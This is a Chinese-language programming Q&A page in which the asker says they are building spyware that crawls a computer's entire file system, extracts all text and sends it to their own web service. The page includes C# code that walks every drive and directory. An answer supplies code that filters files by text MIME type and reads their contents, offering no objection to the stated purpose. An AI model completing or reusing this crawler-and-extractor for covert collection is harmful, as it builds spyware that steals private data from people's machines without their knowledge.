是否可以创建一个从文件中提取文本的通用方法
本文关键字:提取 文件 取文本 方法 一个 创建 是否 | 更新日期: 2024-07-27 21:53:02
我正在创建一个间谍软件程序,该程序会破坏计算机的整个文件系统,查找它能找到的任何文本,并将其发送到我附带的web服务。我遇到的问题是,一旦我有了一个文件,它要么是我可以从中提取文本的文件类型(即,如果它是.txt.、.docx、.xml等文件),要么不是。如果是,我想从中提取文本。我现在拥有的是
private string _accumulatedInfo;
public FileCrawler ( )
{
this._accumulatedInfo = String.Empty;
}
private void GrabInfo ( System.IO.FileInfo fi )
{
// if can parse text out of file, add text to accumulated info string
// ...
}
private void _WalkDirectoryTree ( System.IO.DirectoryInfo root )
{
System.IO.FileInfo[] files = root.GetFiles("*.*");
if ( files != null )
{
foreach ( System.IO.FileInfo fi in files )
{
GrabInfo(fi);
}
}
System.IO.DirectoryInfo[] subDirs = root.GetDirectories();
if ( subDirs != null )
{
foreach ( System.IO.DirectoryInfo dirInfo in subDirs )
{
this._WalkDirectoryTree(dirInfo);
}
}
}
private void CrawlAllDrives ( )
{
string[] drives = System.Environment.GetLogicalDrives();
foreach ( string dr in drives )
{
System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
if ( di.IsReady )
{
System.IO.DirectoryInfo rootDir = di.RootDirectory;
this._WalkDirectoryTree(rootDir);
}
}
}
我想知道如何,或者是否有可能,实现我的
private void GrabInfo ( System.IO.FileInfo fi )
{
// if can parse text out of file, add text to accumulated info string
// ...
}
方法,而不使用
private void GrabInfo ( System.IO.FileInfo fi )
{
switch (fi.Extension)
{
case "txt":
// ...
case "docx":
// ...
// ...
}
}
是否存在从文件中提取文本的通用方法?
您可以执行以下操作:
System.IO.DirectoryInfo path = new DirectoryInfo( @"c:'temp");
System.IO.FileInfo[] files = path.GetFiles("*.*");
if ( files != null )
{
foreach ( System.IO.FileInfo fi in files.Where(f => MimeMapping.GetMimeMapping(f.FullName).StartsWith("text/")))
{
try
{
var text = File.ReadAllText(fi.FullName);
}
catch
{
// something bad happened
}
}
}
这将返回所有类似"文本"的类型。
你可以在这个答案中阅读更多关于它的内容。